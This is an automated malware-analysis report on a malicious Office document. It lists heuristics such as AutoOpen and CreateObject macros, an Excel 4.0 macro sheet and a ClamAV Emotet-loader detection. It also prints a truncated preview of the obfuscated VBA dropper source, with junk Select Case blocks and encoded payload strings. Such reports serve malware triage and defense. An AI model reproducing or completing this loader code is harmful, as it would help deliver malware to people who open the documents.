MALICIOUS
244
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, indicated by multiple OLE_VBA_ heuristics. The presence of an AutoOpen macro and CreateObject calls suggests an attempt to automatically execute code upon opening. The ClamAV detection and heuristic firings strongly indicate a downloader or droppper functionality, likely attempting to fetch a second-stage payload. No specific family could be identified.
Heuristics 9
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 48458 bytes |
SHA-256: 4a195440b8a220f1ab4abe7a7abbd607436f4f5ec8445b6744d1a46207f3e754 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 26 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "DkWAjXPsdIWW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "BIuLWlzGZH"
Function JJmApmWd()
On Error Resume Next
Select Case wnNEpk
Case 77228
RTwbU = Hex(3971 - CSng(90033) - 3932 + ChrW(OsoJaq))
pmkNjJ = kkoDrH
End Select
sBiDBH = vwGiu("G3qAZgBhAGMAZQA3ADAAYwBmAGEAYwAzAGQAMwA4AGIANgAxADYANAA2AGEAOQA5ADUAYgBjAGQAYQBlADAAOAAyADUAYwBkADkAOAA1AGYAYQBkADIAOAA4ADgAOAA1ADAAOQBiAGEANgBlAGUAMQAzADcAMgA5ADcAMgBjADYAMjzhHBc", 4, 170)
Select Case Flnzl
Case 47948
idNbkC = Hex(57033 - CSng(6551) - 10372 + ChrW(VwiODz))
nHmNqf = DuWJHB
End Select
Select Case HJWUdE
Case 72295
TwQXHN = Hex(51435 - CSng(27645) - 52715 + ChrW(zrfkU))
jZzvjI = sSizL
End Select
wNitQqJppb = vwGiu("ZIAzADAAMgBlAGEAZABiADIANwBlAGYAMQAwAGQANgA5AGMAZABhADMAMwBlADYAOQBkADUANAA0ADgAZQA0ADcAMgAxADEAZQBiADUAMAAyADUAYgA3ADcANgAxAGMAYQA5AGYAMQBlAGYANwAxAGIANABhADMAOAA2AGQAOABjADIAOQA0Aka.K", 3, 179)
Select Case jhazu
Case 81988
wlSVK = Hex(25308 - CSng(90548) - 60405 + ChrW(JOXpt))
DEqtKi = EdOPv
End Select
Select Case LziuDi
Case 68284
blaVCu = Hex(96635 - CSng(65143) - 76499 + ChrW(uQsFhd))
QSjFK = cpzLE
End Select
HtjFID = vwGiu("FQA1AGQAZJJj7G", 2, 8)
Select Case IfFdJj
Case 54231
AmJOKz = Hex(17462 - CSng(83114) - 62691 + ChrW(GQEpmL))
VRjwf = jtGfC
End Select
Select Case MLJjzj
Case 92905
UFzGk = Hex(36746 - CSng(48357) - 3408 + ChrW(ANVjk))
wdISG = idYFKk
End Select
IbYzR = vwGiu("IOSADUAj7", 5, 3)
Select Case zMmOli
Case 41793
rciRwb = Hex(59406 - CSng(66328) - 45013 + ChrW(RcCMC))
NpnqcZ = aibBN
End Select
Select Case NjIknP
Case 15625
itJXHp = Hex(20691 - CSng(26643) - 3671 + ChrW(wQfaT))
mstKHG = THjTiv
End Select
IjBPmINniM = vwGiu("rA@ADMANABlAGMAMABkAGEANgA1AGMAMwAwADEANQBjAGMAtfG9", 4, 44)
Select Case LXusdt
Case 33852
LzRUY = Hex(9127 - CSng(99745) - 17011 + ChrW(mMhwu))
ziXzp = aVcST
End Select
Select Case VCbuPP
Case 79259
Wcmjw = Hex(40871 - CSng(92808) - 97532 + ChrW(AwIrT))
EwKMI = FTwVQO
End Select
zLAFEMILG = vwGiu("a1zMwA3ADMAYwA1AGQANwAxADYANAA2ADgAOQA1AGMAYwA0ADkAOQAzADQAMAA5AGIANgBiADYAYgBkAGEANQA2ADYAMAA1ADEAOQAxAGQAYgBkAGIAMwBlAGUAMgA5ADIAZQBjAGQAOAAxADgAMgAwADIAMgBmADEANQBjADkAOAA0ADMAMQAyADYANQBjADEAYwA5AT0oTd", 4, 197)
Select Case wiMbob
Case 49073
iVoHC = Hex(92585 - CSng(93153) - 78435 + ChrW(bwBlXv))
ChiQJ = NjGDAk
End Select
Select Case fwAjMo
Case 91174
EWJSW = Hex(92931 - CSng(22076) - 44906 + ChrW(ZzUuV))
KAwhY = aAlJXj
End Select
qrijbA = vwGiu("lzdn8Ckri", 2, 1)
Select Case jGPfT
Case 92571
NoMPp = Hex(54390 - CSng(63974) - 38876 + ChrW(TEjKfq))
PGWSiW = IzQnn
End Select
Select Case YiRKW
Case 35543
UKzHit = Hex(99372 - CSng(13660) - 63285 + ChrW(zOuQP))
SuSzs = oCBPf
End Select
TvcQwZ = vwGiu("mTFgBiADcAZgA4ADEAYQBkADgAZgBkADEANQA0ADkANABlAGEANQA1ADEAOQBlAGEAZQA1AGEAMgBmADMANgA4ADEAMgA2AGUAOAAxADYAMwA5ADkAMwAzADYAOAAyAGQAMgBjADkAYgBiAGYAMgBkAGYAYwBiADQAZQBlADUAYwA2ADkAYgAzAFY@iX5", 4, 180)
Select Case ksiiB
Case 92968
ulJpNO = Hex(47491 - CSng(55366) - 15466 + ChrW(skzIc))
QDVHIV = GOOdWo
End Select
Select Case huAJj
Case 87052
rRUms = Hex(48921 - CSng(99389) - 281 + ChrW(jrbjhr))
WdpjVq = qOsBEl
End Select
LUCuCpj = vwGiu("4E.PvGMAOAAyAGUANQA4ADkANABmADYANABlADQAZQA5ADUAZAA4ADcANQAwADYAYQBmADQAYwBjADcAYwBlADQAMgA5ADgAMAA0ADEAZgAwA8B",
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.